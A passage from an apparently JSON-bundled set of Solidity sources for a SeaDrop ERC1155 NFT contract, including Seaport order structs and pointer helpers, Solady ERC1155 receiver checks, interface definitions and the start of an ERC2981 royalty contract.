mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n" }, "lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "src/interfaces/ISeaDropTokenContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n" }, "src/interfaces/IERC1155ContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n" }, "lib/solady/src/tokens/ERC2981.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom 